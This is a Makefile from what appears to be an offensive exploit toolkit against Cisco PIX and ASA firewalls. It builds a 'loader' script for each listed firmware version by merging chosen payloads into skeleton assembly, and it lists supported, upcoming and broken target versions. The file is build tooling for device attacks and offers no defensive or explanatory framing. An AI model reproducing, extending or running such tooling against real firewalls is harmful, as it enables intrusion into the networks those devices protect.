CC = gcc
CFLAGS = -m32
ASFLAGS = --32

SSL_LIB = -L/usr/lib32 -l ssl


# usage:
#
# 1. make clean
#
# 2. make <memory size>
#    use "64M", "1024M", etc for Pix, ASA7
#    use "ASA" for ASA 8
#
# 3. make <vers> PAYLOAD=<payload>
#    <vers> = pix722, asa804, etc
#    <payload> = "nop" for testing
#              = "BM" for ASA
#              = "1024M_BM" for Pix
#
# example:
#   make clean
#   make 1024M               ; mem size should be same on both lines
#   make pix724 PAYLOAD=1024M_BM
#
#   make clean
#   make ASA                 ; mem size not needed for ASA
#   make asa804 PAYLOAD=BM
#


# see above to override a memory size on cmdline
MEM=UNKNOWN

# see above to override on cmdline
PAYLOAD=UNKNOWN

# memory sizes supported
HIGHMEMS=64M 128M 256M 512M 1024M 2048M 4096M ASA

# supported device firmware versions
VERSIONS=pix711 pix712 pix721 pix722 pix723 pix724 pix804 asa711 asa712 asa721 asa722 asa723 asa724 asa804 asa80432 asa805 asa822 asa823 asa824 asa825 asa831 asa832

# coming soon
NEXT_VERSION_VERSIONS=asa841 asa842 asa843 asa844

# unsupported device firmware versions
BROKEN_VERSIONS=pix707 pix708 pix802 pix803 fwsm403 asa708 asa802 asa803 asa821 asa82513


#
# no user-serviceable parts below this point
#

# Build XXXXXX_loader.py for each version (see Subst References in make manual)
all: $(VERSIONS:=_loader.py)

# Create individual targets for each version (see Static Patterns in make manual)
$(VERSIONS): %: %_loader.py


$(HIGHMEMS):
	cp highmem_$@.s highmem.s


clean:
	rm -f *.o *_assembler *_loader.py *_loader.s *.pyc highmem.s

%_assembler: assembler.o util.o %_loader.o
	$(CC) $(CFLAGS) -o $*_assembler $^

# Deault rule seems to work, but leave here for reference
%_loader.o: %_loader.s epba_cleanup.s epba_success.s epba_failure.s
	$(AS) --32 -o $*_loader.o $*_loader.s

%_loader.py: %_loader.o %_assembler
	./$*_assembler

%_loader.s: %_skeleton.s %_${PAYLOAD}_payload.epba highmem.s
	./payload_merge.py $*_skeleton.s $*_${PAYLOAD}_payload.epba

# Prevent make from deleting *_assembler because they are intermediate files
.PRECIOUS: %_assembler %.o %_loader.s
